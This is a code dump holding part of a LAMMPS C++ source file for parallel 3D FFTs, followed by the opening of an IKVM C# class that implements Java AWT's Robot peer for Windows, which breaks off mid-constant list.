---------------------------------------------------------------------- Data layout for 3d FFTs: data set of Nfast x Nmid x Nslow elements is owned by P procs on input, each proc owns a subsection of the elements on output, each proc will own a (possibly different) subsection my subsection must not overlap with any other proc's subsection, i.e. the union of all proc's input (or output) subsections must exactly tile the global Nfast x Nmid x Nslow data set when called from C, all subsection indices are C-style from 0 to N-1 where N = Nfast or Nmid or Nslow when called from F77, all subsection indices are F77-style from 1 to N where N = Nfast or Nmid or Nslow a proc can own 0 elements on input or output by specifying hi index < lo index on both input and output, data is stored contiguously on a processor with a fast-varying, mid-varying, and slow-varying index ------------------------------------------------------------------------- */ /* ---------------------------------------------------------------------- Perform 3d FFT Arguments: in starting address of input data on this proc out starting address of where output data for this proc will be placed (can be same as in) flag 1 for forward FFT, -1 for backward FFT plan plan returned by previous call to fft_3d_create_plan ------------------------------------------------------------------------- */ void fft_3d(FFT_DATA *in, FFT_DATA *out, int flag, struct fft_plan_3d *plan) { FFT_SCALAR norm; #if defined(FFT_FFTW3) FFT_SCALAR *out_ptr; #endif FFT_DATA *data,*copy; // system specific constants #if defined(FFT_FFTW3) FFTW_API(plan) theplan; #else // nothing to do for other FFTs #endif // pre-remap to prepare for 1st FFTs if needed // copy = loc for remap result if (plan->pre_plan) { if (plan->pre_target == 0) copy = out; else copy = plan->copy; remap_3d((FFT_SCALAR *) in, (FFT_SCALAR *) copy, (FFT_SCALAR *) plan->scratch, plan->pre_plan); data = copy; } else data = in; // 1d FFTs along fast axis #if defined(FFT_MKL) if (flag == 1) DftiComputeForward(plan->handle_fast,data); else DftiComputeBackward(plan->handle_fast,data); #elif defined(FFT_FFTW3) if (flag == 1) theplan=plan->plan_fast_forward; else theplan=plan->plan_fast_backward; FFTW_API(execute_dft)(theplan,data,data); #else int total = plan->total1; int length = plan->length1; if (flag == 1) for (int offset = 0; offset < total; offset += length) kiss_fft(plan->cfg_fast_forward,&data[offset],&data[offset]); else for (int offset = 0; offset < total; offset += length) kiss_fft(plan->cfg_fast_backward,&data[offset],&data[offset]); #endif // 1st mid-remap to prepare for 2nd FFTs // copy = loc for remap result if (plan->mid1_target == 0) copy = out; else copy = plan->copy; remap_3d((FFT_SCALAR *) data, (FFT_SCALAR *) copy, (FFT_SCALAR *) plan->scratch, plan->mid1_plan); data = copy; // 1d FFTs along mid axis #if defined(FFT_MKL) if (flag == 1) DftiComputeForward(plan->handle_mid,data); else DftiComputeBackward(plan->handle_mid,data); #elif defined(FFT_FFTW3) if (flag == 1) theplan=plan->plan_mid_forward; else theplan=plan->plan_mid_backward; FFTW_API(execute_dft)(theplan,data,data); #else total = plan->total2; length = plan->length2; if (flag == 1) for (int offset = 0; offset < total; offset += length) kiss_fft(plan->cfg_mid_forward,&data[offset],&data[offset]); else for (int offset = 0; offset < total; offset += length) kiss_fft(plan->cfg_mid_backward,&data[offset],&data[offset]); #endif // 2nd mid-remap to prepare for 3rd FFTs // copy = loc for remap result if (plan->mid2_target == 0) copy = out; else copy = plan->copy; remap_3d((FFT_SCALAR *) data, (FFT_SCALAR *) copy, (FFT_SCALAR *) plan->scratch, plan->mid2_plan); data = copy; // 1d FFTs along slow axis #if defined(FFT_MKL) if (flag == 1) DftiComputeForward(plan->handle_slow,data); else DftiComputeBackward(plan->handle_slow,data); #elif defined(FFT_FFTW3) if (flag == 1) theplan=plan->plan_slow_forward; else theplan=plan->plan_slow_backward; FFTW_API(execute_dft)(theplan,data,data); #else total = plan->total3; length = plan->length3; if (flag == 1) for (int offset = 0; offset < total; offset += length) kiss_fft(plan->cfg_slow_forward,&data[offset],&data[offset]); else for (int offset = 0; offset < total; offset += length) kiss_fft(plan->cfg_slow_backward,&data[offset],&data[offset]); #endif // post-remap to put data in output format if needed // destination is always out if (plan->post_plan) remap_3d((FFT_SCALAR *) data, (FFT_SCALAR *) out, (FFT_SCALAR *) plan->scratch, plan->post_plan); // scaling if required if (flag == -1 && plan->scaled) { norm = plan->norm; const int num = plan->normnum; #if defined(FFT_FFTW3) out_ptr = (FFT_SCALAR *)out; #endif for (int i = 0; i < num; i++) { #if defined(FFT_FFTW3) *(out_ptr++) *= norm; *(out_ptr++) *= norm; #elif defined(FFT_MKL) out[i] *= norm; #else /* FFT_KISS */ out[i].re *= norm; out[i].im *= norm; #endif } } } /* ---------------------------------------------------------------------- Create plan for performing a 3d FFT Arguments: comm MPI communicator for the P procs which own the data nfast,nmid,nslow size of global 3d matrix in_ilo,in_ihi input bounds of data I own in fast index in_jlo,in_jhi input bounds of data I own in mid index in_klo,in_khi input bounds of data I own in slow index out_ilo,out_ihi output bounds of data I own in fast index out_jlo,out_jhi output bounds of data I own in mid index out_klo,out_khi output bounds of data I own in slow index scaled 0 = no scaling of result, 1 = scaling permute permutation in storage order of indices on output 0 = no permutation 1 = permute once = mid->fast, slow->mid, fast->slow 2 = permute twice = slow->fast, fast->mid, mid->slow nbuf returns size of internal storage buffers used by FFT usecollective use collective MPI operations for remapping data ------------------------------------------------------------------------- */ struct fft_plan_3d *fft_3d_create_plan( MPI_Comm comm, int nfast, int nmid, int nslow, int in_ilo, int in_ihi, int in_jlo, int in_jhi, int in_klo, int in_khi, int out_ilo, int out_ihi, int out_jlo, int out_jhi, int out_klo, int out_khi, int scaled, int permute, int *nbuf, int usecollective) { struct fft_plan_3d *plan; int me,nprocs,nthreads; int flag,remapflag; int first_ilo,first_ihi,first_jlo,first_jhi,first_klo,first_khi; int second_ilo,second_ihi,second_jlo,second_jhi,second_klo,second_khi; int third_ilo,third_ihi,third_jlo,third_jhi,third_klo,third_khi; int out_size,first_size,second_size,third_size,copy_size,scratch_size; int np1,np2,ip1,ip2; // query MPI info MPI_Comm_rank(comm,&me); MPI_Comm_size(comm,&nprocs); #if defined(_OPENMP) // query OpenMP info. // should have been initialized systemwide in Comm class constructor nthreads = omp_get_max_threads(); #else nthreads = 1; #endif // compute division of procs in 2 dimensions not on-processor bifactor(nprocs,&np1,&np2); ip1 = me % np1; ip2 = me/np1; // allocate memory for plan data struct plan = (struct fft_plan_3d *) malloc(sizeof(struct fft_plan_3d)); if (plan == nullptr) return nullptr; // remap from initial distribution to layout needed for 1st set of 1d FFTs // not needed if all procs own entire fast axis initially // first indices = distribution after 1st set of FFTs if (in_ilo == 0 && in_ihi == nfast-1) flag = 0; else flag = 1; MPI_Allreduce(&flag,&remapflag,1,MPI_INT,MPI_MAX,comm); if (remapflag == 0) { first_ilo = in_ilo; first_ihi = in_ihi; first_jlo = in_jlo; first_jhi = in_jhi; first_klo = in_klo; first_khi = in_khi; plan->pre_plan = nullptr; } else { first_ilo = 0; first_ihi = nfast - 1; first_jlo = ip1*nmid/np1; first_jhi = (ip1+1)*nmid/np1 - 1; first_klo = ip2*nslow/np2; first_khi = (ip2+1)*nslow/np2 - 1; plan->pre_plan = remap_3d_create_plan(comm,in_ilo,in_ihi,in_jlo,in_jhi,in_klo,in_khi, first_ilo,first_ihi,first_jlo,first_jhi, first_klo,first_khi,2,0,0,FFT_PRECISION,0); if (plan->pre_plan == nullptr) return nullptr; } // 1d FFTs along fast axis plan->length1 = nfast; plan->total1 = nfast * (first_jhi-first_jlo+1) * (first_khi-first_klo+1); // remap from 1st to 2nd FFT // choose which axis is split over np1 vs np2 to minimize communication // second indices = distribution after 2nd set of FFTs second_ilo = ip1*nfast/np1; second_ihi = (ip1+1)*nfast/np1 - 1; second_jlo = 0; second_jhi = nmid - 1; second_klo = ip2*nslow/np2; second_khi = (ip2+1)*nslow/np2 - 1; plan->mid1_plan = remap_3d_create_plan(comm, first_ilo,first_ihi,first_jlo,first_jhi, first_klo,first_khi, second_ilo,second_ihi,second_jlo,second_jhi, second_klo,second_khi,2,1,0,FFT_PRECISION, usecollective); if (plan->mid1_plan == nullptr) return nullptr; // 1d FFTs along mid axis plan->length2 = nmid; plan->total2 = (second_ihi-second_ilo+1) * nmid * (second_khi-second_klo+1); // remap from 2nd to 3rd FFT // if final distribution is permute=2 with all procs owning entire slow axis // then this remapping goes directly to final distribution // third indices = distribution after 3rd set of FFTs if (permute == 2 && out_klo == 0 && out_khi == nslow-1) flag = 0; else flag = 1; MPI_Allreduce(&flag,&remapflag,1,MPI_INT,MPI_MAX,comm); if (remapflag == 0) { third_ilo = out_ilo; third_ihi = out_ihi; third_jlo = out_jlo; third_jhi = out_jhi; third_klo = out_klo; third_khi = out_khi; } else { third_ilo = ip1*nfast/np1; third_ihi = (ip1+1)*nfast/np1 - 1; third_jlo = ip2*nmid/np2; third_jhi = (ip2+1)*nmid/np2 - 1; third_klo = 0; third_khi = nslow - 1; } plan->mid2_plan = remap_3d_create_plan(comm, second_jlo,second_jhi,second_klo,second_khi, second_ilo,second_ihi, third_jlo,third_jhi,third_klo,third_khi, third_ilo,third_ihi,2,1,0,FFT_PRECISION,usecollective); if (plan->mid2_plan == nullptr) return nullptr; // 1d FFTs along slow axis plan->length3 = nslow; plan->total3 = (third_ihi-third_ilo+1) * (third_jhi-third_jlo+1) * nslow; // remap from 3rd FFT to final distribution // not needed if permute = 2 and third indices = out indices on all procs if (permute == 2 && out_ilo == third_ilo && out_ihi == third_ihi && out_jlo == third_jlo && out_jhi == third_jhi && out_klo == third_klo && out_khi == third_khi) flag = 0; else flag = 1; MPI_Allreduce(&flag,&remapflag,1,MPI_INT,MPI_MAX,comm); if (remapflag == 0) plan->post_plan = nullptr; else { plan->post_plan = remap_3d_create_plan(comm, third_klo,third_khi,third_ilo,third_ihi, third_jlo,third_jhi, out_klo,out_khi,out_ilo,out_ihi, out_jlo,out_jhi,2,(permute+1)%3,0,FFT_PRECISION,0); if (plan->post_plan == nullptr) return nullptr; } // configure plan memory pointers and allocate work space // out_size = amount of memory given to FFT by user // first/second/third_size = // amount of memory needed after pre,mid1,mid2 remaps // copy_size = amount needed internally for extra copy of data // scratch_size = amount needed internally for remap scratch space // for each remap: // out space used for result if big enough, else require copy buffer // accumulate largest required remap scratch space out_size = (out_ihi-out_ilo+1) * (out_jhi-out_jlo+1) * (out_khi-out_klo+1); first_size = (first_ihi-first_ilo+1) * (first_jhi-first_jlo+1) * (first_khi-first_klo+1); second_size = (second_ihi-second_ilo+1) * (second_jhi-second_jlo+1) * (second_khi-second_klo+1); third_size = (third_ihi-third_ilo+1) * (third_jhi-third_jlo+1) * (third_khi-third_klo+1); copy_size = 0; scratch_size = 0; if (plan->pre_plan) { if (first_size <= out_size) plan->pre_target = 0; else { plan->pre_target = 1; copy_size = MAX(copy_size,first_size); } scratch_size = MAX(scratch_size,first_size); } if (plan->mid1_plan) { if (second_size <= out_size) plan->mid1_target = 0; else { plan->mid1_target = 1; copy_size = MAX(copy_size,second_size); } scratch_size = MAX(scratch_size,second_size); } if (plan->mid2_plan) { if (third_size <= out_size) plan->mid2_target = 0; else { plan->mid2_target = 1; copy_size = MAX(copy_size,third_size); } scratch_size = MAX(scratch_size,third_size); } if (plan->post_plan) scratch_size = MAX(scratch_size,out_size); *nbuf = copy_size + scratch_size; if (copy_size) { plan->copy = (FFT_DATA *) malloc(copy_size*sizeof(FFT_DATA)); if (plan->copy == nullptr) return nullptr; } else plan->copy = nullptr; if (scratch_size) { plan->scratch = (FFT_DATA *) malloc(scratch_size*sizeof(FFT_DATA)); if (plan->scratch == nullptr) return nullptr; } else plan->scratch = nullptr; // system specific pre-computation of 1d FFT coeffs // and scaling normalization #if defined(FFT_MKL) DftiCreateDescriptor( &(plan->handle_fast), FFT_MKL_PREC, DFTI_COMPLEX, 1, (MKL_LONG)nfast); DftiSetValue(plan->handle_fast, DFTI_NUMBER_OF_TRANSFORMS, (MKL_LONG)plan->total1/nfast); DftiSetValue(plan->handle_fast, DFTI_PLACEMENT,DFTI_INPLACE); DftiSetValue(plan->handle_fast, DFTI_INPUT_DISTANCE, (MKL_LONG)nfast); DftiSetValue(plan->handle_fast, DFTI_OUTPUT_DISTANCE, (MKL_LONG)nfast); #if defined(FFT_MKL_THREADS) DftiSetValue(plan->handle_fast, DFTI_NUMBER_OF_USER_THREADS, nthreads); #endif DftiCommitDescriptor(plan->handle_fast); DftiCreateDescriptor( &(plan->handle_mid), FFT_MKL_PREC, DFTI_COMPLEX, 1, (MKL_LONG)nmid); DftiSetValue(plan->handle_mid, DFTI_NUMBER_OF_TRANSFORMS, (MKL_LONG)plan->total2/nmid); DftiSetValue(plan->handle_mid, DFTI_PLACEMENT,DFTI_INPLACE); DftiSetValue(plan->handle_mid, DFTI_INPUT_DISTANCE, (MKL_LONG)nmid); DftiSetValue(plan->handle_mid, DFTI_OUTPUT_DISTANCE, (MKL_LONG)nmid); #if defined(FFT_MKL_THREADS) DftiSetValue(plan->handle_mid, DFTI_NUMBER_OF_USER_THREADS, nthreads); #endif DftiCommitDescriptor(plan->handle_mid); DftiCreateDescriptor( &(plan->handle_slow), FFT_MKL_PREC, DFTI_COMPLEX, 1, (MKL_LONG)nslow); DftiSetValue(plan->handle_slow, DFTI_NUMBER_OF_TRANSFORMS, (MKL_LONG)plan->total3/nslow); DftiSetValue(plan->handle_slow, DFTI_PLACEMENT,DFTI_INPLACE); DftiSetValue(plan->handle_slow, DFTI_INPUT_DISTANCE, (MKL_LONG)nslow); DftiSetValue(plan->handle_slow, DFTI_OUTPUT_DISTANCE, (MKL_LONG)nslow); #if defined(FFT_MKL_THREADS) DftiSetValue(plan->handle_slow, DFTI_NUMBER_OF_USER_THREADS, nthreads); #endif DftiCommitDescriptor(plan->handle_slow); #elif defined(FFT_FFTW3) #if defined(FFT_FFTW_THREADS) if (nthreads > 1) { FFTW_API(init_threads)(); FFTW_API(plan_with_nthreads)(nthreads); } #endif plan->plan_fast_forward = FFTW_API(plan_many_dft)(1, &nfast,plan->total1/plan->length1, nullptr,&nfast,1,plan->length1, nullptr,&nfast,1,plan->length1, FFTW_FORWARD,FFTW_ESTIMATE); plan->plan_fast_backward = FFTW_API(plan_many_dft)(1, &nfast,plan->total1/plan->length1, nullptr,&nfast,1,plan->length1, nullptr,&nfast,1,plan->length1, FFTW_BACKWARD,FFTW_ESTIMATE); plan->plan_mid_forward = FFTW_API(plan_many_dft)(1, &nmid,plan->total2/plan->length2, nullptr,&nmid,1,plan->length2, nullptr,&nmid,1,plan->length2, FFTW_FORWARD,FFTW_ESTIMATE); plan->plan_mid_backward = FFTW_API(plan_many_dft)(1, &nmid,plan->total2/plan->length2, nullptr,&nmid,1,plan->length2, nullptr,&nmid,1,plan->length2, FFTW_BACKWARD,FFTW_ESTIMATE); plan->plan_slow_forward = FFTW_API(plan_many_dft)(1, &nslow,plan->total3/plan->length3, nullptr,&nslow,1,plan->length3, nullptr,&nslow,1,plan->length3, FFTW_FORWARD,FFTW_ESTIMATE); plan->plan_slow_backward = FFTW_API(plan_many_dft)(1, &nslow,plan->total3/plan->length3, nullptr,&nslow,1,plan->length3, nullptr,&nslow,1,plan->length3, FFTW_BACKWARD,FFTW_ESTIMATE); #else /* FFT_KISS */ plan->cfg_fast_forward = kiss_fft_alloc(nfast,0,nullptr,nullptr); plan->cfg_fast_backward = kiss_fft_alloc(nfast,1,nullptr,nullptr); if (nmid == nfast) { plan->cfg_mid_forward = plan->cfg_fast_forward; plan->cfg_mid_backward = plan->cfg_fast_backward; } else { plan->cfg_mid_forward = kiss_fft_alloc(nmid,0,nullptr,nullptr); plan->cfg_mid_backward = kiss_fft_alloc(nmid,1,nullptr,nullptr); } if (nslow == nfast) { plan->cfg_slow_forward = plan->cfg_fast_forward; plan->cfg_slow_backward = plan->cfg_fast_backward; } else if (nslow == nmid) { plan->cfg_slow_forward = plan->cfg_mid_forward; plan->cfg_slow_backward = plan->cfg_mid_backward; } else { plan->cfg_slow_forward = kiss_fft_alloc(nslow,0,nullptr,nullptr); plan->cfg_slow_backward = kiss_fft_alloc(nslow,1,nullptr,nullptr); } #endif if (scaled == 0) plan->scaled = 0; else { plan->scaled = 1; plan->norm = 1.0/(nfast*nmid*nslow); plan->normnum = (out_ihi-out_ilo+1) * (out_jhi-out_jlo+1) * (out_khi-out_klo+1); } return plan; } /* ---------------------------------------------------------------------- Destroy a 3d fft plan ------------------------------------------------------------------------- */ void fft_3d_destroy_plan(struct fft_plan_3d *plan) { if (plan->pre_plan) remap_3d_destroy_plan(plan->pre_plan); if (plan->mid1_plan) remap_3d_destroy_plan(plan->mid1_plan); if (plan->mid2_plan) remap_3d_destroy_plan(plan->mid2_plan); if (plan->post_plan) remap_3d_destroy_plan(plan->post_plan); if (plan->copy) free(plan->copy); if (plan->scratch) free(plan->scratch); #if defined(FFT_MKL) DftiFreeDescriptor(&(plan->handle_fast)); DftiFreeDescriptor(&(plan->handle_mid)); DftiFreeDescriptor(&(plan->handle_slow)); #elif defined(FFT_FFTW3) FFTW_API(destroy_plan)(plan->plan_slow_forward); FFTW_API(destroy_plan)(plan->plan_slow_backward); FFTW_API(destroy_plan)(plan->plan_mid_forward); FFTW_API(destroy_plan)(plan->plan_mid_backward); FFTW_API(destroy_plan)(plan->plan_fast_forward); FFTW_API(destroy_plan)(plan->plan_fast_backward); #if defined(FFT_FFTW_THREADS) FFTW_API(cleanup_threads)(); #endif #else if (plan->cfg_slow_forward != plan->cfg_fast_forward && plan->cfg_slow_forward != plan->cfg_mid_forward) { free(plan->cfg_slow_forward); free(plan->cfg_slow_backward); } if (plan->cfg_mid_forward != plan->cfg_fast_forward) { free(plan->cfg_mid_forward); free(plan->cfg_mid_backward); } free(plan->cfg_fast_forward); free(plan->cfg_fast_backward); #endif free(plan); } /* ---------------------------------------------------------------------- recursively divide n into small factors, return them in list ------------------------------------------------------------------------- */ void factor(int n, int *num, int *list) { if (n == 1) { return; } else if (n % 2 == 0) { *list = 2; (*num)++; factor(n/2,num,list+1); } else if (n % 3 == 0) { *list = 3; (*num)++; factor(n/3,num,list+1); } else if (n % 5 == 0) { *list = 5; (*num)++; factor(n/5,num,list+1); } else if (n % 7 == 0) { *list = 7; (*num)++; factor(n/7,num,list+1); } else if (n % 11 == 0) { *list = 11; (*num)++; factor(n/11,num,list+1); } else if (n % 13 == 0) { *list = 13; (*num)++; factor(n/13,num,list+1); } else { *list = n; (*num)++; return; } } /* ---------------------------------------------------------------------- divide n into 2 factors of as equal size as possible ------------------------------------------------------------------------- */ void bifactor(int n, int *factor1, int *factor2) { int n1,n2,facmax; facmax = static_cast<int> (sqrt((double) n)); for (n1 = facmax; n1 > 0; n1--) { n2 = n/n1; if (n1*n2 == n) { *factor1 = n1; *factor2 = n2; return; } } } /* ---------------------------------------------------------------------- perform just the 1d FFTs needed by a 3d FFT, no data movement used for timing purposes Arguments: in starting address of input data on this proc, all set to 0.0 nsize size of in flag 1 for forward FFT, -1 for backward FFT plan plan returned by previous call to fft_3d_create_plan ------------------------------------------------------------------------- */ void fft_1d_only(FFT_DATA *data, int nsize, int flag, struct fft_plan_3d *plan) { int i,num; FFT_SCALAR norm; #if defined(FFT_FFTW3) FFT_SCALAR *data_ptr; #endif // total = size of data needed in each dim // length = length of 1d FFT in each dim // total/length = # of 1d FFTs in each dim // if total > nsize, limit # of 1d FFTs to available size of data int total1 = plan->total1; int length1 = plan->length1; int total2 = plan->total2; int length2 = plan->length2; int total3 = plan->total3; int length3 = plan->length3; // fftw3 and Dfti in MKL encode the number of transforms // into the plan, so we cannot operate on a smaller data set #if defined(FFT_MKL) || defined(FFT_FFTW3) if ((total1 > nsize) || (total2 > nsize) || (total3 > nsize)) return; #endif if (total1 > nsize) total1 = (nsize/length1) * length1; if (total2 > nsize) total2 = (nsize/length2) * length2; if (total3 > nsize) total3 = (nsize/length3) * length3; // perform 1d FFTs in each of 3 dimensions // data is just an array of 0.0 #if defined(FFT_MKL) if (flag == 1) { DftiComputeForward(plan->handle_fast,data); DftiComputeForward(plan->handle_mid,data); DftiComputeForward(plan->handle_slow,data); } else { DftiComputeBackward(plan->handle_fast,data); DftiComputeBackward(plan->handle_mid,data); DftiComputeBackward(plan->handle_slow,data); } #elif defined(FFT_FFTW3) FFTW_API(plan) theplan; if (flag == 1) theplan=plan->plan_fast_forward; else theplan=plan->plan_fast_backward; FFTW_API(execute_dft)(theplan,data,data); if (flag == 1) theplan=plan->plan_mid_forward; else theplan=plan->plan_mid_backward; FFTW_API(execute_dft)(theplan,data,data); if (flag == 1) theplan=plan->plan_slow_forward; else theplan=plan->plan_slow_backward; FFTW_API(execute_dft)(theplan,data,data); #else if (flag == 1) { for (int offset = 0; offset < total1; offset += length1) kiss_fft(plan->cfg_fast_forward,&data[offset],&data[offset]); for (int offset = 0; offset < total2; offset += length2) kiss_fft(plan->cfg_mid_forward,&data[offset],&data[offset]); for (int offset = 0; offset < total3; offset += length3) kiss_fft(plan->cfg_slow_forward,&data[offset],&data[offset]); } else { for (int offset = 0; offset < total1; offset += length1) kiss_fft(plan->cfg_fast_backward,&data[offset],&data[offset]); for (int offset = 0; offset < total2; offset += length2) kiss_fft(plan->cfg_mid_backward,&data[offset],&data[offset]); for (int offset = 0; offset < total3; offset += length3) kiss_fft(plan->cfg_slow_backward,&data[offset],&data[offset]); } #endif // scaling if required // limit num to size of data if (flag == -1 && plan->scaled) { norm = plan->norm; num = MIN(plan->normnum,nsize); #if defined(FFT_FFTW3) data_ptr = (FFT_SCALAR *)data; #endif for (i = 0; i < num; i++) { #if defined(FFT_FFTW3) *(data_ptr++) *= norm; *(data_ptr++) *= norm; #elif defined(FFT_MKL) data[i] *= norm; #else data[i].re *= norm; data[i].im *= norm; #endif } } }
jeremiahyan/lammps
src/KSPACE/fft3d.cpp
C++
gpl-2.0
26,711
/* Copyright (C) 2007 Volker Berlin This software is provided 'as-is', without any express or implied warranty. In no event will the authors be held liable for any damages arising from the use of this software. Permission is granted to anyone to use this software for any purpose, including commercial applications, and to alter it and redistribute it freely, subject to the following restrictions: 1. The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required. 2. Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software. 3. This notice may not be removed or altered from any source distribution. Jeroen Frijters [email protected] */ using System; using System.Drawing; using System.Runtime.InteropServices; using System.Windows.Forms; using java.awt.peer; using java.awt.@event; namespace ikvm.awt { internal class WindowsRobot : RobotPeer { Screen screen; internal WindowsRobot(java.awt.GraphicsDevice device) { screen = ((NetGraphicsDevice)device).screen; } public void dispose() { } public int getRGBPixel(int x, int y) { Bitmap bitmap = new Bitmap(1, 1); Graphics g = Graphics.FromImage(bitmap); g.CopyFromScreen( x, y, 0, 0, new Size(1,1)); g.Dispose(); Color color = bitmap.GetPixel(0,0); bitmap.Dispose(); return color.ToArgb(); } public int[] getRGBPixels(java.awt.Rectangle r) { int width = r.width; int height = r.height; Bitmap bitmap = new Bitmap(width, height); Graphics g = Graphics.FromImage(bitmap); g.CopyFromScreen(r.x, r.y, 0, 0, new Size(width, height)); g.Dispose(); int[] pixels = new int[width * height]; for (int i = 0; i < width; i++) { for (int j = 0; j < height; j++) { pixels[i+j*width] = bitmap.GetPixel(i, j).ToArgb(); } } bitmap.Dispose(); return pixels; } private byte MapKeyCode(int keyCode) { //TODO there need a keymap for some special chars //http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/WinUI/WindowsUserInterface/UserInput/VirtualKeyCodes.asp switch (keyCode) { case KeyEvent.VK_DELETE: return VK_DELETE; default: return (byte)keyCode; } } public void keyPress(int keycode) { keybd_event(MapKeyCode(keycode), 0, KEYEVENTF_KEYDOWN, IntPtr.Zero); } public void keyRelease(int keycode) { keybd_event(MapKeyCode(keycode), 0, KEYEVENTF_KEYUP, IntPtr.Zero); } public void mouseMove(int x, int y) { Cursor.Position = new Point(x,y); } public void mousePress(int button) { int dwFlags = 0; switch (button) { case InputEvent.BUTTON1_MASK: dwFlags |= MOUSEEVENTF_LEFTDOWN; break; case InputEvent.BUTTON2_MASK: dwFlags |= MOUSEEVENTF_MIDDLEDOWN; break; case InputEvent.BUTTON3_MASK: dwFlags |= MOUSEEVENTF_RIGHTDOWN; break; } mouse_event(dwFlags, 0, 0, 0, IntPtr.Zero); } public void mouseRelease(int button) { int dwFlags = 0; switch (button) { case InputEvent.BUTTON1_MASK: dwFlags |= MOUSEEVENTF_LEFTUP; break; case InputEvent.BUTTON2_MASK: dwFlags |= MOUSEEVENTF_MIDDLEUP; break; case InputEvent.BUTTON3_MASK: dwFlags |= MOUSEEVENTF_RIGHTUP; break; } mouse_event(dwFlags, 0, 0, 0, IntPtr.Zero); } public void mouseWheel(int wheel) { mouse_event(0, 0, 0, wheel, IntPtr.Zero); } [DllImport("user32.dll")] private static extern void keybd_event(byte vk, byte scan, int flags, IntPtr extrainfo); private const int KEYEVENTF_KEYDOWN = 0x0000; private const int KEYEVENTF_KEYUP = 0x0002; [DllImport("user32.dll")] private static extern void mouse_event( int dwFlags, // motion and click options int dx, // horizontal position or change int dy, // vertical position or change int dwData, // wheel movement IntPtr dwExtraInfo // application-defined information ); private const int MOUSEEVENTF_LEFTDOWN = 0x0002; private const int MOUSEEVENTF_LEFTUP = 0x0004; private const int MOUSEEVENTF_RIGHTDOWN = 0x0008; private const int MOUSEEVENTF_RIGHTUP = 0x0010; private const int MOUSEEVENTF_MIDDLEDOWN = 0x0020; private const int MOUSEEVENTF_MIDDLEUP = 0x0040; private const int VK_BACK = 0x08; private const int VK_TAB = 0x09; /* * 0x0A - 0x0B : reserved */ private const int VK_CLEAR = 0x0C; private const int VK_RETURN = 0x0D; private const int VK_SHIFT = 0x10; private const int VK_CONTROL = 0x11; private const int VK_MENU = 0x12; private const int VK_PAUSE = 0x13; private const int VK_CAPITAL = 0x14; private const int VK_KANA = 0x15; private const int VK_HANGEUL = 0x15; /* old name - should be here for compatibility */ private const int VK_HANGUL = 0x15; private const int VK_JUNJA = 0x17; private const int VK_FINAL = 0x18; private const int VK_HANJA = 0x19; private const int VK_KANJI = 0x19; private const int VK_ESCAPE = 0x1B; private const int VK_CONVERT = 0x1C; private const int VK_NONCONVERT = 0x1D; private const int VK_ACCEPT = 0x1E; private const int VK_MODECHANGE = 0x1F; private const int VK_SPACE = 0x20; private const int VK_PRIOR = 0x21; private const int VK_NEXT = 0x22; private const int VK_END = 0x23; private const int VK_HOME = 0x24; private const int VK_LEFT = 0x25; private const int VK_UP = 0x26; private const int VK_RIGHT = 0x27; private const int VK_DOWN = 0x28; private const int VK_SELECT = 0x29; private const int VK_PRINT = 0x2A; private const int VK_EXECUTE = 0x2B; private const int VK_SNAPSHOT = 0x2C; private const int VK_INSERT = 0x2D; private const int VK_DELETE = 0x2E; private const int VK_HELP = 0x2F; /* * VK_0 - VK_9 are the same as ASCII '0' - '9' (0x30 - 0x39) * 0x40 : unassigned * VK_A - VK_Z are the same as ASCII 'A' - 'Z' (0x41 - 0x5A) */ private const int VK_LWIN = 0x5B; private const int VK_RWIN = 0x5C; private const int VK_APPS = 0x5D; /* * 0x5E : reserved */ private const int VK_SLEEP = 0x5F; private const int VK_NUMPAD0 = 0x60; private const int VK_NUMPAD1 = 0x61; private const int VK_NUMPAD2 = 0x62; private const int VK_NUMPAD3 = 0x63; private const int VK_NUMPAD4 = 0x64; private const int VK_NUMPAD5 = 0x65; private const int VK_NUMPAD6 = 0x66; private const int VK_NUMPAD7 = 0x67; private const int VK_NUMPAD8 = 0x68; private const int VK_NUMPAD9 = 0x69; private const int VK_MULTIPLY = 0x6A; private const int VK_ADD = 0x6B; private const int VK_SEPARATOR = 0x6C; private const int VK_SUBTRACT = 0x6D; private const int VK_DECIMAL = 0x6E; private const int VK_DIVIDE = 0x6F; private const int VK_F1 = 0x70; private const int VK_F2 = 0x71; private const int VK_F3 = 0x72; private const int VK_F4 = 0x73; private const int VK_F5 = 0x74; private const int VK_F6 = 0x75; private const int VK_F7 = 0x76; private const int VK_F8 = 0x77; private const int VK_F9 = 0x78; private const int VK_F10 = 0x79; private const int VK_F11 = 0x7A; private const int VK_F12 = 0x7B; private const int VK_F13 = 0x7C; private const int VK_F14 = 0x7D; private const int VK_F15 = 0x7E; private const int VK_F16 = 0x7F; private const int VK_F17 = 0x80; private const int VK_F18 = 0x81; private const int VK_F19 = 0x82; private const int VK_F20 = 0x83; private const int VK_F21 = 0x84; private const int VK_F22 = 0x85; private const int VK_F23 = 0x86; private const int VK_F24 = 0x87; /* * 0x88 - 0x8F : unassigned */ private const int VK_NUMLOCK = 0x90; private const int VK_SCROLL = 0x91; /* * NEC PC-9800 kbd definitions */ private const int VK_OEM_NEC_EQUAL = 0x92; // '=' key on numpad /* * Fujitsu/OASYS kbd definitions */ private const int VK_OEM_FJ_JISHO = 0x92; // 'Dictionary' key private const int VK_OEM_FJ_MASSHOU= 0x93; // 'Unregister word' key private const int VK_OEM_FJ_TOUROKU= 0x94; // 'Register word' key private const int VK_OEM_FJ_LOYA = 0x95; // 'Left OYAYUBI' key private const int VK_OEM_FJ_ROYA = 0x96; // 'Right OYAYUBI' key /* * 0x97 - 0x9F : unassigned */ /* * VK_L* & VK_R* - left and right Alt, Ctrl and Shift virtual keys. * Used only as parameters to GetAsyncKeyState() and GetKeyState(). * No other API or message will distinguish left and right keys in this way. */ private const int VK_LSHIFT = 0xA0; private const int VK_RSHIFT = 0xA1; private const int VK_LCONTROL = 0xA2; private const int VK_RCONTROL = 0xA3; private const int VK_LMENU = 0xA4; private const int VK_RMENU = 0xA5; private const int VK_BROWSER_BACK = 0xA6; private const int VK_BROWSER_FORWARD = 0xA7; private const int VK_BROWSER_REFRESH = 0xA8; private const int VK_BROWSER_STOP = 0xA9; private const int VK_BROWSER_SEARCH = 0xAA; private const int VK_BROWSER_FAVORITES = 0xAB; private const int VK_BROWSER_HOME = 0xAC; private const int VK_VOLUME_MUTE = 0xAD; private const int VK_VOLUME_DOWN = 0xAE; private const int VK_VOLUME_UP = 0xAF; private const int VK_MEDIA_NEXT_TRACK = 